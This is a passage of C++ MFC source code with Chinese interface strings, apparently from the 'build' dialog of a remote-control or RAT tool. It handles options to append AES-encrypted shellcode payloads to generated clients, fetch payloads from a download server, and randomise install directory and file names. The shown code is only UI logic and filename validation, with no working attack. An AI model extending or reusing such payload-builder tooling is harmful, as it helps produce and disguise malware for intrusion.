||
{
|
||
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||
m_ComboPayload.SetFocus();
|
||
m_BtnFileServer.ShowWindow(
|
||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||
static bool warned = false;
|
||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) {
|
||
warned = true;
|
||
MessageBoxL(_L("使用 ShellCode AES 在程序尾部追加载荷,可能无法在某些服务器系统运行! ")+
|
||
_L("请自行验证。或者选择其他载荷,或者切换为 ShellCode AES Old 模式生成!"),
|
||
"提示", MB_ICONWARNING);
|
||
}
|
||
}
|
||
|
||
BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
TOOLTIPTEXTA* pTTT = (TOOLTIPTEXTA*)pNMHDR;
|
||
UINT nID = pNMHDR->idFrom;
|
||
if (pTTT->uFlags & TTF_IDISHWND) {
|
||
// idFrom is actually the HWND of the tool
|
||
nID = ::GetDlgCtrlID((HWND)nID);
|
||
}
|
||
if (nID == IDC_SLIDER_CLIENT_SIZE) {
|
||
int size = m_SliderClientSize.GetPos() * 2.56;
|
||
sprintf_s(pTTT->szText, "%dM", size);
|
||
return TRUE;
|
||
}
|
||
return FALSE;
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnEnChangeEditInstallDir()
|
||
{
|
||
static bool bProcessing = false;
|
||
if (bProcessing) return;
|
||
bProcessing = true;
|
||
|
||
CString strText;
|
||
GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
|
||
|
||
// Windows 文件名非法字符: \ / : * ? " < > |
|
||
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名
|
||
|
||
bool bModified = false;
|
||
for (int i = strText.GetLength() - 1; i >= 0; i--) {
|
||
if (_tcschr(szInvalidChars, strText[i]) != NULL) {
|
||
strText.Delete(i);
|
||
bModified = true;
|
||
}
|
||
}
|
||
|
||
if (bModified) {
|
||
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR);
|
||
int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置
|
||
SetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
|
||
pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标
|
||
}
|
||
|
||
bProcessing = false;
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnEnChangeEditInstallName()
|
||
{
|
||
static bool bProcessing = false;
|
||
if (bProcessing) return;
|
||
bProcessing = true;
|
||
|
||
CString strText;
|
||
GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
|
||
|
||
// Windows 文件名非法字符: \ / : * ? " < > |
|
||
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名
|
||
|
||
bool bModified = false;
|
||
for (int i = strText.GetLength() - 1; i >= 0; i--) {
|
||
if (_tcschr(szInvalidChars, strText[i]) != NULL) {
|
||
strText.Delete(i);
|
||
bModified = true;
|
||
}
|
||
}
|
||
|
||
if (bModified) {
|
||
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME);
|
||
int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置
|
||
SetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
|
||
pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标
|
||
}
|
||
|
||
bProcessing = false;
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnEnKillfocusEditInstallDir()
|
||
{
|
||
CString strText;
|
||
GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
|
||
|
||
if (strText.IsEmpty()) return;
|
||
|
||
if (!IsValidFileName(strText)) {
|
||
MessageBoxL(_L("文件名不合法,请检查:\n")+
|
||
_L("1. 不能包含 \\ / : * ? \" < > |\n")+
|
||
_L("2. 不能是系统保留名称 (CON, PRN 等)\n")+
|
||
_L("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING);
|
||
|
||
GetDlgItem(IDC_EDIT_INSTALL_DIR)->SetFocus();
|
||
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetWindowTextA("");
|
||
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetSel(0, -1);
|
||
}
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnEnKillfocusEditInstallName()
|
||
{
|
||
CString strText;
|
||
GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
|
||
|
||
if (strText.IsEmpty()) return;
|
||
|
||
if (!IsValidFileName(strText)) {
|
||
MessageBoxL(_L("文件名不合法,请检查:\n")+
|
||
_L("1. 不能包含 \\ / : * ? \" < > |\n")+
|
||
_L("2. 不能是系统保留名称 (CON, PRN 等)\n")+
|
||
_L("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING);
|
||
|
||
GetDlgItem(IDC_EDIT_INSTALL_NAME)->SetFocus();
|
||
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetWindowTextA("");
|
||
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetSel(0, -1);
|
||
}
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnRandomName()
|
||
{
|
||
BOOL b = !THIS_CFG.GetInt("settings", "RandomName", 0);
|
||
m_EditInstallDir.SetWindowTextA(m_sInstallDir = b ? GenerateRandomName(5 + time(0) % 10) : "");
|
||
m_EditInstallName.SetWindowTextA(m_sInstallName = b ? GenerateRandomName(5 + time(0) % 10) : "");
|
||
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
|
||
THIS_CFG.SetInt("settings", "RandomName", b);
|
||
}
|
||
|
||
void CBuildDlg::OnBnClickedCheckFileserver()
|
||
{
|
||
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||
m_StaticDownload.ShowWindow(checked ? SW_SHOW : SW_HIDE);
|
||
m_EditDownloadUrl.ShowWindow(checked ? SW_SHOW : SW_HIDE);
|
||
static bool warned = false;
|
||
if (!warned && checked) {
|
||
warned = true;
|
||
MessageBoxL(_L("请提供载荷的下载地址。下载地址前缀为 http 或 https。")+
|
||
_L("默认由本机提供载荷下载服务,请将载荷文件放在\"Payloads\"目录。")+
|
||
_L("由本机提供下载时,下载地址可以省略输入。"), "提示", MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
|
||
void CBuildDlg::OnCbnSelchangeComboPayload()
|
||
{
|
||
m_BtnFileServer.ShowWindow(
|
||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||
}
|